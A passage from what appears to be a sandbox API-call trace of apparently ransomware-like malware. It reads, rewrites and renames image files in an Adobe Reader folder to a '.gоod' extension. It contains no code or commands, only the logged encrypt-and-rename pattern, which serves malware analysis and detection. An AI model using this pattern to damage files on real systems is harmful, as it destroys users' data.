(normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\images\\icons.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c8 [0178.253] GetFileType (hFile=0x7c8) returned 0x1 [0178.253] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ec5a0) returned 1 [0178.253] GetFileType (hFile=0x7c8) returned 0x1 [0178.253] SetFilePointer (in: hFile=0x7c8, lDistanceToMove=4096, lpDistanceToMoveHigh=0x203ec788*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x203ec788*=0) returned 0x1000 [0178.253] ReadFile (in: hFile=0x7c8, lpBuffer=0x353c068, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x203ec758, lpOverlapped=0x0 | out: lpBuffer=0x353c068*, lpNumberOfBytesRead=0x203ec758*=0xf7f, lpOverlapped=0x0) returned 1 [0178.257] CloseHandle (hObject=0x7c8) returned 1 [0178.257] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\icons.png", nBufferLength=0x105, lpBuffer=0x203ec110, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\icons.png", lpFilePart=0x0) returned 0x7b [0178.257] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ec630) returned 1 [0178.257] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\icons.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\images\\icons.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c8 [0178.257] GetFileType (hFile=0x7c8) returned 0x1 [0178.257] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ec5a0) returned 1 [0178.257] GetFileType (hFile=0x7c8) returned 0x1 [0178.257] SetFilePointer (in: hFile=0x7c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x203ec788*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x203ec788*=0) returned 0x1f7f [0178.257] WriteFile (in: hFile=0x7c8, lpBuffer=0x354fd80*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x203ec678, lpOverlapped=0x0 | out: lpBuffer=0x354fd80*, lpNumberOfBytesWritten=0x203ec678*=0x10, lpOverlapped=0x0) returned 1 [0178.257] CloseHandle (hObject=0x7c8) returned 1 [0178.258] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\icons.png", nBufferLength=0x105, lpBuffer=0x203ec110, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\icons.png", lpFilePart=0x0) returned 0x7b [0178.258] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ec630) returned 1 [0178.258] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\icons.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\images\\icons.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c8 [0178.258] GetFileType (hFile=0x7c8) returned 0x1 [0178.258] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ec5a0) returned 1 [0178.258] GetFileType (hFile=0x7c8) returned 0x1 [0178.258] ReadFile (in: hFile=0x7c8, lpBuffer=0x35520a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x203ec708, lpOverlapped=0x0 | out: lpBuffer=0x35520a0*, lpNumberOfBytesRead=0x203ec708*=0x1000, lpOverlapped=0x0) returned 1 [0178.518] CloseHandle (hObject=0x7c8) returned 1 [0178.518] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\icons.png", nBufferLength=0x105, lpBuffer=0x203ec110, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\icons.png", lpFilePart=0x0) returned 0x7b [0178.518] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ec630) returned 1 [0178.518] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\icons.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\images\\icons.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c8 [0178.518] GetFileType (hFile=0x7c8) returned 0x1 [0178.518] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ec5a0) returned 1 [0178.518] GetFileType (hFile=0x7c8) returned 0x1 [0178.518] WriteFile (in: hFile=0x7c8, lpBuffer=0x342c9b8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x203ec7b8, lpOverlapped=0x0 | out: lpBuffer=0x342c9b8*, lpNumberOfBytesWritten=0x203ec7b8*=0x1010, lpOverlapped=0x0) returned 1 [0178.519] CloseHandle (hObject=0x7c8) returned 1 [0178.519] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\icons.png", nBufferLength=0x105, lpBuffer=0x203ec260, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\icons.png", lpFilePart=0x0) returned 0x7b [0178.519] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\icons.png.gоod", nBufferLength=0x105, lpBuffer=0x203ec260, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\icons.png.gоod", lpFilePart=0x0) returned 0x80 [0178.519] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ec6f0) returned 1 [0178.519] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\icons.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\images\\icons.png"), fInfoLevelId=0x0, lpFileInformation=0x203ec7d0 | out: lpFileInformation=0x203ec7d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x669df36b, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1f8f)) returned 1 [0178.519] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ec6b0) returned 1 [0178.519] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\icons.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\images\\icons.png"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\icons.png.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\images\\icons.png.gоod")) returned 1 [0178.520] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\icons_ie8.gif", nBufferLength=0x105, lpBuffer=0x203ec260, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\icons_ie8.gif", lpFilePart=0x0) returned 0x7f [0178.520] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ec730) returned 1 [0178.520] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\icons_ie8.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\images\\icons_ie8.gif"), fInfoLevelId=0x0, lpFileInformation=0x35ac738 | out: lpFileInformation=0x35ac738*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1fd7)) returned 1 [0178.521] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ec6f0) returned 1 [0178.521] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\icons_ie8.gif", nBufferLength=0x105, lpBuffer=0x203ec110, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\icons_ie8.gif", lpFilePart=0x0) returned 0x7f [0178.521] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ec630) returned 1 [0178.521] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\icons_ie8.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\images\\icons_ie8.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c8 [0178.521] GetFileType (hFile=0x7c8) returned 0x1 [0178.521] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ec5a0) returned 1 [0178.521] GetFileType (hFile=0x7c8) returned 0x1 [0178.521] SetFilePointer (in: hFile=0x7c8, lDistanceToMove=4096, lpDistanceToMoveHigh=0x203ec788*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x203ec788*=0) returned 0x1000 [0178.521] ReadFile (in: hFile=0x7c8, lpBuffer=0x35acc30, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x203ec758, lpOverlapped=0x0 | out: lpBuffer=0x35acc30*, lpNumberOfBytesRead=0x203ec758*=0xfd7, lpOverlapped=0x0) returned 1 [0178.523] CloseHandle (hObject=0x7c8) returned 1 [0178.523] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\icons_ie8.gif", nBufferLength=0x105, lpBuffer=0x203ec110, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\icons_ie8.gif", lpFilePart=0x0) returned 0x7f [0178.523] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ec630) returned 1 [0178.523] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\icons_ie8.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\images\\icons_ie8.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c8 [0178.523] GetFileType (hFile=0x7c8) returned 0x1 [0178.523] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ec5a0) returned 1 [0178.523] GetFileType (hFile=0x7c8) returned 0x1 [0178.523] SetFilePointer (in: hFile=0x7c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x203ec788*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x203ec788*=0) returned 0x1fd7 [0178.523] WriteFile (in: hFile=0x7c8, lpBuffer=0x35adf68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x203ec678, lpOverlapped=0x0 | out: lpBuffer=0x35adf68*, lpNumberOfBytesWritten=0x203ec678*=0x10, lpOverlapped=0x0) returned 1 [0178.523] CloseHandle (hObject=0x7c8) returned 1 [0178.524] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\icons_ie8.gif", nBufferLength=0x105, lpBuffer=0x203ec110, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\icons_ie8.gif", lpFilePart=0x0) returned 0x7f [0178.524] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ec630) returned 1 [0178.524] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\icons_ie8.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\images\\icons_ie8.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c8 [0178.524] GetFileType (hFile=0x7c8) returned 0x1 [0178.524] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ec5a0) returned 1 [0178.524] GetFileType (hFile=0x7c8) returned 0x1 [0178.524] ReadFile (in: hFile=0x7c8, lpBuffer=0x35b0298, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x203ec708, lpOverlapped=0x0 | out: lpBuffer=0x35b0298*, lpNumberOfBytesRead=0x203ec708*=0x1000, lpOverlapped=0x0) returned 1 [0178.551] CloseHandle (hObject=0x7c8) returned 1 [0178.551] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\icons_ie8.gif", nBufferLength=0x105, lpBuffer=0x203ec110, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\icons_ie8.gif", lpFilePart=0x0) returned 0x7f [0178.551] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ec630) returned 1 [0178.551] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\icons_ie8.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\images\\icons_ie8.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c8 [0178.551] GetFileType (hFile=0x7c8) returned 0x1 [0178.551] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ec5a0) returned 1 [0178.551] GetFileType (hFile=0x7c8) returned 0x1 [0178.552] WriteFile (in: hFile=0x7c8, lpBuffer=0x35aef80*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x203ec7b8, lpOverlapped=0x0 | out: lpBuffer=0x35aef80*, lpNumberOfBytesWritten=0x203ec7b8*=0x1010, lpOverlapped=0x0) returned 1 [0178.552] CloseHandle (hObject=0x7c8) returned 1 [0178.552] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\icons_ie8.gif", nBufferLength=0x105, lpBuffer=0x203ec260, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\icons_ie8.gif", lpFilePart=0x0) returned 0x7f [0178.552] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\icons_ie8.gif.gоod", nBufferLength=0x105, lpBuffer=0x203ec260, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\icons_ie8.gif.gоod", lpFilePart=0x0) returned 0x84 [0178.552] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ec6f0) returned 1 [0178.552] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\icons_ie8.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\images\\icons_ie8.gif"), fInfoLevelId=0x0, lpFileInformation=0x203ec7d0 | out: lpFileInformation=0x203ec7d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x66a2b759, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1fe7)) returned 1 [0178.552] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ec6b0) returned 1 [0178.552] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\icons_ie8.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\images\\icons_ie8.gif"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\icons_ie8.gif.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\images\\icons_ie8.gif.gоod")) returned 1 [0178.656] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\icons_retina.png", nBufferLength=0x105, lpBuffer=0x203ec260, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\icons_retina.png", lpFilePart=0x0) returned 0x82 [0178.656] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ec730) returned 1 [0178.656] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\icons_retina.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\images\\icons_retina.png"), fInfoLevelId=0x0, lpFileInformation=0x34c5368 | out: lpFileInformation=0x34c5368*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3c6a)) returned 1 [0178.657] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ec6f0) returned 1 [0178.657] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\icons_retina.png", nBufferLength=0x105, lpBuffer=0x203ec110, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\icons_retina.png", lpFilePart=0x0) returned 0x82 [0178.657] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ec630) returned 1 [0178.657] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\icons_retina.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\images\\icons_retina.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c8 [0178.657] GetFileType (hFile=0x7c8) returned 0x1 [0178.657] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ec5a0) returned 1 [0178.658] GetFileType (hFile=0x7c8) returned 0x1 [0178.658] SetFilePointer (in: hFile=0x7c8, lDistanceToMove=4096, lpDistanceToMoveHigh=0x203ec788*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x203ec788*=0) returned 0x1000 [0178.658] ReadFile (in: hFile=0x7c8, lpBuffer=0x34c5880, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x203ec758, lpOverlapped=0x0 | out: lpBuffer=0x34c5880*, lpNumberOfBytesRead=0x203ec758*=0x1000, lpOverlapped=0x0) returned 1 [0178.659] CloseHandle (hObject=0x7c8) returned 1 [0178.659] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\icons_retina.png", nBufferLength=0x105, lpBuffer=0x203ec110, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\icons_retina.png", lpFilePart=0x0) returned 0x82 [0178.659] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ec630) returned 1 [0178.659] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\icons_retina.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\images\\icons_retina.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c8 [0178.659] GetFileType (hFile=0x7c8) returned 0x1 [0178.659] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ec5a0) returned 1 [0178.659] GetFileType (hFile=0x7c8) returned 0x1 [0178.659] SetFilePointer (in: hFile=0x7c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x203ec788*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x203ec788*=0) returned 0x3c6a [0178.660] WriteFile (in: hFile=0x7c8, lpBuffer=0x34c6b98*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x203ec678, lpOverlapped=0x0 | out: lpBuffer=0x34c6b98*, lpNumberOfBytesWritten=0x203ec678*=0x10, lpOverlapped=0x0) returned 1 [0178.660] CloseHandle (hObject=0x7c8) returned 1 [0178.661] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\icons_retina.png", nBufferLength=0x105, lpBuffer=0x203ec110, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\icons_retina.png", lpFilePart=0x0) returned 0x82 [0178.661] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ec630) returned 1 [0178.661] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\icons_retina.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\images\\icons_retina.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c8 [0178.661] GetFileType (hFile=0x7c8) returned 0x1 [0178.661] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ec5a0) returned 1 [0178.661] GetFileType (hFile=0x7c8) returned 0x1 [0178.661] ReadFile (in: hFile=0x7c8, lpBuffer=0x34c8ef8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x203ec708, lpOverlapped=0x0 | out: lpBuffer=0x34c8ef8*, lpNumberOfBytesRead=0x203ec708*=0x1000, lpOverlapped=0x0) returned 1 [0179.615] CloseHandle (hObject=0x7c8) returned 1 [0179.616] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\icons_retina.png", nBufferLength=0x105, lpBuffer=0x203ec110, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\icons_retina.png", lpFilePart=0x0) returned 0x82 [0179.616] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ec630) returned 1 [0179.645] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\icons_retina.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\images\\icons_retina.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c8 [0179.645] GetFileType (hFile=0x7c8) returned 0x1 [0179.645] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ec5a0) returned 1 [0179.645] GetFileType (hFile=0x7c8) returned 0x1 [0179.645] WriteFile (in: hFile=0x7c8, lpBuffer=0x346a090*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x203ec7b8, lpOverlapped=0x0 | out: lpBuffer=0x346a090*, lpNumberOfBytesWritten=0x203ec7b8*=0x1010, lpOverlapped=0x0) returned 1 [0179.645] CloseHandle (hObject=0x7c8) returned 1 [0179.645] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\icons_retina.png", nBufferLength=0x105, lpBuffer=0x203ec260, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\icons_retina.png", lpFilePart=0x0) returned 0x82 [0179.645] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\icons_retina.png.gоod", nBufferLength=0x105, lpBuffer=0x203ec260, 